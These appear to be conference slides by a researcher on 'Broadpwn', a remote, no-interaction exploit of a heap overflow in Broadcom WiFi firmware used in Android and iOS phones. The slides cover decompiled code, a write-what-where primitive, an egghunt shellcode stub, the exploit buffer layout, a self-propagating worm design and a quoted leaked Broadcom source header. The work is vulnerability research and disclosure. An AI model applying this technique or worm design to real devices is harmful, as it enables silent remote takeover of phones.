BROADPWN
Remotely Owning Android and iOS

Nitay Artenstein
whoami

- **Twitter:** @nitayart
- Reverse engineer and vulnerability researcher
- Focusing on Android, WiFi and basebands
AGENDA

• Are fully remote exploits still viable?

• How we found an attack surface suitable for remote exploitation

• The story of a powerful WiFi bug, and how it was leveraged into a fully remote exploit
REMOTE EXPLOIT != BROWSER EXPLOIT

If the victim has to click, it’s not a true remote

“New secrets about torture in government prisons”

“Facebook alerts that attempts have been made to access your account”
THE THREE LAWS OF REMOTE EXPLOITS

 Depths: A REMOTE MAY NOT REQUIRE HUMAN INTERACTION TO TRIGGER

 Depths: A REMOTE MAY NOT REQUIRE COMPLEX ASSUMPTIONS ABOUT THE SYSTEM’S STATE

 Depths: A REMOTE MUST LEAVE THE SYSTEM IN A STABLE STATE
THE THREE LAWS OF REMOTE EXPLOITS

1️⃣ A REMOTE MAY NOT REQUIRE HUMAN INTERACTION TO TRIGGER. LIMITED ATTACK SURFACE

2️⃣ A REMOTE MAY NOT REQUIRE COMPLEX ASSUMPTIONS ABOUT THE SYSTEM’S STATE. IMPOSSIBLE WITH ASLR

3️⃣ A REMOTE MUST LEAVE THE SYSTEM IN A STABLE STATE. CRASHING == FAILURE
NOT AN EASY TASK

Not a single entry for Google's Android bug bounty

By Paris Cowan
Mar 31 2017
4:23PM

US$350,000 prize money untouched.
ATTACKING ANDROID/IOS

Application Processor

DEP
ASLR
PXN/PAN

Apple
Android
ATTACKING ANDROID/IOS

WiFi Chip → Application Processor → Baseband

Apple

Android
BASEBANDS

- iPhone
- Samsung Galaxy and Note
- Google Nexus
- Some LGs and HTCs
## WIFI CONTROLLERS

<table>
<thead>
<tr>
<th>Device</th>
<th>Company</th>
</tr>
</thead>
<tbody>
<tr>
<td>iPhone</td>
<td>BROADCOM</td>
</tr>
<tr>
<td>Samsung Galaxy and Note</td>
<td>BROADCOM</td>
</tr>
<tr>
<td>Google Nexus</td>
<td>BROADCOM</td>
</tr>
<tr>
<td>Some LGs and HTCs</td>
<td>BROADCOM</td>
</tr>
</tbody>
</table>
WIFI BONUS

Broadcom chips have no DEP or ASLR, and all memory is RWX!!!
DIVING INTO THE WIFI SOC
PREVIOUS WORKS ABOUT BCM

- Gal Beniamini of P0, “Exploiting Broadcom’s Wi-Fi Stack”
- The Nexmon project by SEEMOO Labs
- “Wardriving from your Pocket”, Recon 2013 (Omri Ildis, Yuval Ofir and Ruby Feinstein)
- Andrés Blanco, “One Firmware to Monitor ‘em All”
THE BCM ARCHITECTURE
THE BCM ARCHITECTURE

RAM  ROM
900K  900K

ARM Cortex R4

BACKPLANE

D11 (PHY)

PCle  SDIO

Main processor
The firmware is loaded from the main OS, so it’s stored in the filesystem (/etc/wifi/ on Samsungs).

Chip runs a proprietary RTOS known as HNDRTE.

Fortunately, a large part of its source code leaked online.
* Initialization and support routines for self-booting
 * compressed image.
 *
 * Copyright (C) 2010, Broadcom Corporation
 * All Rights Reserved.
 *
 * This is UNPUBLISHED PROPRIETARY SOURCE CODE of Broadcom Corporation;
 * the contents of this file may not be disclosed to third parties, copied
 * or duplicated in any form, in whole or in part, without the prior
 * written permission of Broadcom Corporation.
 *
 * $Id: hndrte.c,v 1.234.2.7 2011-01-27 17:03:39 Exp $
 */

#include <typedefs.h>
#include <bcmdefs.h>
#include <osl.h>
#include <bcmutils.h>
#include <hndsoc.h>
#include <bcmdevs.h>
#include <siutils.h>
FINDING THE RIGHT ATTACK SURFACE

Remember the First Law of Remotes?

A REMOTE MAY NOT REQUIRE HUMAN INTERACTION TO TRIGGER
802.11: AN UNAUTHENTICATED ASSOCIATION PROCESS

- Probe Request
- Probe Response
- Auth Open Seq (obsolete)
- Association Request
- Association Response
- DATA - real auth (WPA2) comes here
802.11: AN UNAUTHENTICATED ASSOCIATION PROCESS

Probe Request

Probe Response

Auth Open Seq (obsolete)

Association Request

Association Response

“Hey, are you BOB_HOME?”

“Sure I am!”

DATA - real auth (WPA2) comes here
802.11 ASSOCIATION SEQUENCE PACKETS

<table>
<thead>
<tr>
<th>Field</th>
<th>Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>Frame Type</td>
<td>2 Bytes</td>
</tr>
<tr>
<td>Duration ID</td>
<td>2 Bytes</td>
</tr>
<tr>
<td>Addresses</td>
<td>18 Bytes</td>
</tr>
<tr>
<td>Seq Cont.</td>
<td>2 Bytes</td>
</tr>
<tr>
<td>Addr. 4</td>
<td>6 Bytes</td>
</tr>
</tbody>
</table>

Basic Header

<table>
<thead>
<tr>
<th>Field</th>
<th>Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>Basic Header</td>
<td></td>
</tr>
<tr>
<td>Information Elements, variable length</td>
<td></td>
</tr>
</tbody>
</table>
802.11 INFORMATION ELEMENTS

TLV

Type | Length | Data
---|---|---
1 Byte | 1 Byte | Variable length

802.11 Packet

Basic Header | IE | IE | IE
ccx = wlc_ccx_attach(_wlc);
_wlc->ccx = ccx;
if ( !ccx )
{
    return 45;
}
amsdu = wlc_amdsu_attach(_wlc);
_wlc->amsdu_info = amsdu;
if ( !amsdu )
{
    return 49;
}
ampdu_tx = wlc_ampdu_tx_attach(_wlc);
_wlc->ampdu_tx = ampdu_tx;
if ( !ampdu_tx )
{
    return 50;
}
ampdu_rx = wlc_ampdu_rx_attach(_wlc);
_wlc->ampdu_rx = ampdu_rx;
if ( !ampdu_rx )
{
    return 501;
void wlc_iem_add_parse_fn(
    iem_info *iem,
    uint32 subtype_bitfield, \textcolor{red}{\text{Frame type}}
    uint32 iem_type, \textcolor{red}{\text{IE Type}}
    callback_fn_t fn,
    void *arg);
FINDING THE CODE: FOLLOW THE MODULES

<table>
<thead>
<tr>
<th>Directic</th>
<th>Typ</th>
<th>Address</th>
<th>Text</th>
</tr>
</thead>
<tbody>
<tr>
<td>D...</td>
<td>p</td>
<td>wlc_ht_attach+13A</td>
<td>BL wlc_iem_add_parse_fn_2</td>
</tr>
<tr>
<td>D...</td>
<td>p</td>
<td>wlc_register_iem_fns+8C</td>
<td>BL wlc_iem_add_parse_fn_2</td>
</tr>
<tr>
<td>D...</td>
<td>p</td>
<td>wlc_scan_register_iem_fns+12</td>
<td>BL wlc_iem_add_parse_fn_2</td>
</tr>
<tr>
<td>D...</td>
<td>p</td>
<td>wlc_scan_register_iem_fns+36</td>
<td>BL wlc_iem_add_parse_fn_2</td>
</tr>
<tr>
<td>D...</td>
<td>p</td>
<td>wlc_scan_register_iem_fns+4E</td>
<td>BL wlc_iem_add_parse_fn_2</td>
</tr>
<tr>
<td>D...</td>
<td>p</td>
<td>wlc_scan_register_iem_fns+66</td>
<td>BL wlc_iem_add_parse_fn_2</td>
</tr>
<tr>
<td>D...</td>
<td>p</td>
<td>wlc_obss_attach+86</td>
<td>BL wlc_iem_add_parse_fn_2</td>
</tr>
<tr>
<td>D...</td>
<td>p</td>
<td>wlc_rsdb_attatch+CA</td>
<td>BL wlc_iem_add_parse_fn_2</td>
</tr>
<tr>
<td>D...</td>
<td>p</td>
<td>wlc_vht_attach+1EA</td>
<td>BL wlc_iem_add_parse_fn_2</td>
</tr>
<tr>
<td>D...</td>
<td>p</td>
<td>wlc_vht_attach+204</td>
<td>BL wlc_iem_add_parse_fn_2</td>
</tr>
<tr>
<td>D...</td>
<td>p</td>
<td>wlc_vht_attach+23A</td>
<td>BL wlc_iem_add_parse_fn_2</td>
</tr>
<tr>
<td>D...</td>
<td>p</td>
<td>wlc_vht_attach+254</td>
<td>BL wlc_iem_add_parse_fn_2</td>
</tr>
<tr>
<td>D...</td>
<td>p</td>
<td>wlc_vht_attach+318</td>
<td>BL wlc_iem_add_parse_fn_2</td>
</tr>
<tr>
<td>D...</td>
<td>p</td>
<td>sub_1CC88C+A6</td>
<td>BL wlc_iem_add_parse_fn_2</td>
</tr>
<tr>
<td>D...</td>
<td>p</td>
<td>sub_1CC88C+BE</td>
<td>BL wlc_iem_add_parse_fn_2</td>
</tr>
<tr>
<td>D...</td>
<td>p</td>
<td>wlc_wnm_attach+3F4</td>
<td>BL wlc_iem_add_parse_fn_2</td>
</tr>
</tbody>
</table>
THE BUG
WIRELESS MEDIA EXTENSIONS (WME)

- A Quality-of-Service extension to the 802.11 standard
- Enables an AP to prioritize traffic of video, VoIP, etc.
- Protocol information is parsed from Information Elements in Probe Request, Probe Response and Association Response packets
if ( frame_type == FC_ASSOC_RESP ) {
    ...
    if ( wlc->pub->_wme )
    {
        cfg->flags |= 0x100u;
        memcpy(current_wmm_ie, ie->data, ie->len);
    }
DO WE HAVE AN OVERFLOW? CHECK THE ALLOC FUNC

```c
wlc_bsscfg *wlc_bsscfg_malloc(wlc_info *wlc) {
    ...
    pm = wlc calloc(0x78);
    wlc->pm = pm;
    current_wmm_ie = wlc calloc(0x2C);
    wlc->current_wmm_ie = current_wmm_ie;
}
```

Max IE length: 255 bytes
Overflow: 211 bytes
IS THIS BUG REMOTELY EXPLOITABLE?

Remember the Second Law of Remotes?

A REMOTE MAY NOT REQUIRE COMPLEX ASSUMPTIONS ABOUT THE SYSTEM'S STATE
What we don’t want: An overflow into dynamic memory regions (we’ll need to make assumptions about the program’s state)

What we do want: To overwrite a pointer in static memory consistently and deterministically

And, the program needs to do something useful with the pointer we overwrite
THE OVERFLOW: MEMORY LAYOUT

Allocated at startup (deterministic address)
typedef struct wlc_pm_st {
    uint8 PM;
    ...
    struct wl_timer *pspoll_timer;
    struct wl_timer *apsd_trigger_timer;
    ...
    bool send_pspoll_after_tx;
    wlc_hwtimer_to_t *pm2_rcv_timer;
    wlc_hwtimer_to_t *pm2_ret_timer;
} wlc_pm_st_t;

Timers allocated at startup with deterministic addresses.
int timer_func(struct wl_timer *t)
{
    ...
    v7 = t->field_18;
    ...
    v9 = t->field_1c;
    v7->field_14 = v9;
    ...
    j_restore_cpsr(prev_cpsr);
}

Full write-what-where
WHERE SHALL WE WRITE?
PROBLEM: WHERE DO WE PUT OUR PAYLOAD?

Only 24 bytes available for shellcode
THE PACKET RING BUFFER

Spray with beacon probes - packets are RWX!!
void egghunt(uint arg) {
    uint *p = (uint *) RING_BUFFER_START;
    void (*f)(uint);
    loop:
        p++;
        ++p;
        if (*p != 0xc0deba5e)
            goto loop;
        f = (void (*)(uint))(((uchar *) p) + 5);
        f(arg);
    return;
}
EXPLOIT BUFFER - FINAL STRUCTURE

current_wmm_ie

fake timer

overwritten pspoll_timer

shellcode stub

SSID

target_bss

egghunt code
DON'T FORGET TO CLEAN UP

Remember the Third Law of Remotes?

A REMOTE MUST LEAVE THE SYSTEM IN A STABLE STATE
THE NEXT STAGE: THE FIRST WIFI WORM
BUILDING A WORM

• Hook the function which handles incoming packets

• Whenever a probe request comes in, start a fake association process

• Reach the association request phase, then deliver the exploit (might need several attempts to match the target firmware)
DEMO
A NOTE ABOUT PRIVILEGE ESCALATION

- This project does not include running code in the main kernel

- However, research by Project Zero shows that it is possible to directly write to kernel memory using PCIe

- Also possible to intercept traffic from the chip, then redirect the user to a malicious link (requires browser exploit chain)
QUESTIONS?